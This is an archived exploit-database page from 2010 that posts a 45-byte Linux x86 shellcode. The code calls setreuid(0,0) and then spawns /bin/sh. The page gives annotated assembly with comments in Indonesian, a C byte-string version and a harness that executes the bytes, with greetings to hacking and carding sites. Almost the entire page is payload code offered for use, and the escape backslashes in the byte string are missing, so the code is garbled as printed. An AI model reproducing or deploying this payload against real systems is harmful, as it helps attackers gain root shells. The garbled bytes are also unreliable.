linux/x86 execute /bin/sh with setreuid 0,0 45 Bytes
Posted on 17 June 2010
<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>linux/x86 execute /bin/sh with setreuid 0,0 45 Bytes</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>==================================================== linux/x86 execute /bin/sh with setreuid 0,0 45 Bytes ==================================================== /* 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 _ __ __ __ 1 1 /' __ /'__` / \__ /'__` 0 0 /\_, ___ /\_/\_ ___ ,_/ / _ ___ 1 1 /_/ /' _ ` / /_/_\_<_ /'___ / /`'__ 0 0 / / / / \__/ \_ \_ / 1 1 \_ \_ \_\_ \____/ \____\ \__\ \____/ \_ 0 0 /_//_//_/ \_ /___/ /____/ /__/ /___/ /_/ 1 1 \____/ >> Exploit database separated by exploit 0 0 /___/ type (local, remote, DoS, etc.) 1 1 1 0 [+] Site : Inj3ct0r.com 0 1 [+] Support e-mail : submit[at]inj3ct0r.com 1 0 0 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1 Title : execute /bin/sh with setreuid 0,0 Name : 45 bytes sys_setreuid (0,0) - sys_execve("/bin/sh","","") Date : Thu Jun 17 16:58:40 2010 Author : gunslinger_ <yudha.gunslinger[at]gmail.com> Web : http://devilzc0de.org blog : http://gunslingerc0de.wordpress.com tested on : linux debian special thanks to : r0073r (inj3ct0r.com), d3hydr8 (darkc0de.com), ty miller (projectshellcode.com), jonathan salwan(shell-storm.org), mywisdom (devilzc0de.org) greetz : jasakom.com , devilzc0de.org - com , xc0de.or.id, yogyacarderlink.web.id, serverisdown.org tested on : linux debian ---------------------------Original assembly----------------------------- global _start _start: xor eax, eax ; bersihkan register! xor edx, edx ; xor ebx, ebx ; xor ecx, ecx ; mov al, 70 ; sys_setreuid() add bl,1 ; tambah 1 register bl menjadi 1 -> sys_setreuid(1,) dec bl ; kurangi 1 register bl menjadi 0 -> sys_setreuid(0,) mov cl,bl ; kopikan nilai register bl ke cl. nilai register cl menjadi 0 -> sys_setreuid(0,0) int 0x80 ; interupsi kernel kerjakan ! jmp short end ; loncat tanpa kondisi ke end >-------------------------------------------------------------------. ; | start: ; start terpanggil <--------------------------------------------------------------------------. | mov al,11 ; syscall nomer 11 execve | | ;syscall sys_execve(args1,args2,args3) pop ebx ; ambil dari stack <-------------------------------------------------------------------------------------------------------. ;sys_execve ("/bin/sh" mov ecx, edx ; nilai register edx kosong, lalu kopikan ke register ecx jadi ecx kosong | | | ;sys_execve ("/bin/sh",0,0) int 0x80 ; interupsi kernel, kerjakan ! | | | ; ; | | | xor eax, eax ; bersihkan register ecx | | | ;syscall exit() inc eax ; increment eax, atau tambah eax 1 karena nilai eax 0 jadi eax menjadi 1 syscall nomer 1 exit | | | ;sys_exit() int 0x80 ; interupsi kernel, kerjakan ! | | | ; ; | | | end: ; label start <-----------------------------------------------------------------------------------' | call start ; panggil start >-----------------------------------------------------------------------------' | db '/bin/sh' ; masukan string '/bin/sh' ke stack >--------------------------------------------------------------------------------------' ------------------------Eof Original assembly----------------------------- */ #include <stdio.h> char *shellcode= "x31xc0" /* xor %eax,%eax */ "x31xd2" /* xor %edx,%edx */ "x31xdb" /* xor %ebx,%ebx */ "x31xc9" /* xor %ecx,%ecx */ "xb0x46" /* mov $0x46,%al */ "x80xc3x01" /* add $0x1,%bl */ "xfexcb" /* dec %bl */ "x88xd9" /* mov %bl,%cl */ "xcdx80" /* int $0x80 */ "xebx0c" /* jmp 0x8048081 */ "xb0x0b" /* mov $0xb,%al */ "x5b" /* pop %ebx */ "x89xd1" /* mov %edx,%ecx */ "xcdx80" /* int $0x80 */ "x31xc0" /* xor %eax,%eax */ "x40" /* inc %eax */ "xcdx80" /* int $0x80 */ "xe8xefxffxffxff" /* call 0x8048075 */ "x2f" /* das */ "x62x69x6e" /* bound %ebp,0x6e(%ecx) */ "x2f" /* das */ "x73x68"; /* jae 0x80480f5 */ int main(void) { fprintf(stdout,"Length: %d ",strlen(shellcode)); ((void (*)(void)) shellcode)(); return 0; } # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-06-17]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>
